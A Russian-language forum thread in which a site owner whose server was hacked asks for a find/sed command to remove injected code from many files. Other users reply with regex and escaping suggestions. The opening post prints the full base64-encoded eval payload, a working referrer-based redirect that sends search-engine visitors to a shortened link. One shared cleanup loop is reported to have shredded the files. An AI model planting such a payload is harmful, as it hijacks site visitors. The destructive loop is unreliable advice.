Помогите собрать команду для поиска и замены текста в файлах.

Romaldo
На сайте с 10.02.2008
Offline
185
789

Здравствуйте.

Взломали сервер.

Нужно в куче файлов удалить код:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly90aW55dXJsLmNvbS9rcmcyOTNqIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));

Пытаюсь сделать это командой

find -type f -name \*.py -exec sed -i -r 's/regexp1/regexp2/g' {} \;

Где regexp1 - то что ищем, regexp2 - то чем заменяем.

Но из-за того, что коде, в середине встречается слеш / - бьет ошибку

sed: -e expression #1, char 1154: unknown option to `s'

Какой командой можно снести этот код, во всех найденных файлах?

Greensneak
На сайте с 26.05.2013
Offline
99
#1

И бэкапов у Вас, конечно, нет, так?

Регистрация домена (https://goo.gl/8evS7V), хостинг (https://goo.gl/xhACo2)
siv1987
На сайте с 02.04.2009
Offline
427
#2

PCRE - eval\(base64_decode\("DQ.+?p9"\)\);

В POSIX возможно знак вопроса не требуется.

Для sed спец символы кажется еще надо экранировать. Поэкспериментируйте на каком нибудь файле

Romaldo
На сайте с 10.02.2008
Offline
185
#3
Greensneak:
И бэкапов у Вас, конечно, нет, так?

Бекапы есть, но уже пораженные. Такое впечатление, что вирус сидел и молчал с середины мая, а только на днях начал активность.

Эсминец
На сайте с 15.02.2012
Offline
105
#4
romagromov:
Нужно в куче файлов удалить код:

вот такой штукой на днях пользовался. Не пойдёт?

Тексты от 100 р за 1000 знаков, опыт работы - более 7 лет. Skype: slava_zotov (skype:slava_zotov?add), Telegram @zotov_va (https://t.me/zotov_va) Хостинг с бесплатными SSL-сертификатами, 30 дней бесплатно (https://clck.ru/Dhqrp)
Romaldo
На сайте с 10.02.2008
Offline
185
#5
Эсминец:
вот такой штукой на днях пользовался. Не пойдёт?

Ага, спасибо. :)

VN
На сайте с 05.05.2009
Offline
34
#6

romagromov, еще можно вот так:

find -type f -name \*.py -exec sed -i -r 's#regexp1#regexp2#g' {} \;
Romaldo
На сайте с 10.02.2008
Offline
185
#7
V@NEK:
romagromov, еще можно вот так:
find -type f -name \*.py -exec sed -i -r 's#regexp1#regexp2#g' {} \;

А если в коде regexp1 будет находится символ # ?

Я думаю, на этом все закончится...

Мне в поддержке думали целый день, и придумали такое:

for FILE in $(grep --no-messages --with-filename --fixed-strings --recursive 'eval(base64_decode' ./ | cut --delimiter=':' --fields=1 | sort | uniq); do cp -ipv "$FILE" /var/backups/unmodified_files/${FILE}.${RANDOM}; sed --in-place 's/<?php.*\;/<?php/g' "$FILE"; done > /var/backups/unmodified_files.list

Это примечание к команде:

Она сохранит перед изменеением все файлы с вредоносным кодом в директорию /var/backups//unmodified_files/ и список того, что было сделано в файл /var/backups/unmodified_files.list, а кроме того и удалит вредоносный код.

Подобная команда может привести к деструктивным последствиям, поэтому при её составлении необходима аккуратность.

Так и вышло, во-первых ничего не сохранилось в указанную папку, ну и файлы разорвало в клочья, пришлось восстанавливаться из зараженного бекапа.

Решил вопрос по старинке - все в архив, скачал. Поиск и замена в файлах. На mac нашел бесплатную программку TextFinderX.app, на винде когда-то тоже чем-то подобным менял.

SeVlad
На сайте с 03.11.2008
Offline
1609
#8
romagromov:

Но из-за того, что коде, в середине встречается слеш / - бьет ошибку

А что, экранирование уже отменили?

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
siv1987
На сайте с 02.04.2009
Offline
427
#9


find -type f -name \*.py -exec sed -i -r 's/eval\(base64_decode\("DQ.+?p9"\)\);//g' {} \;

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий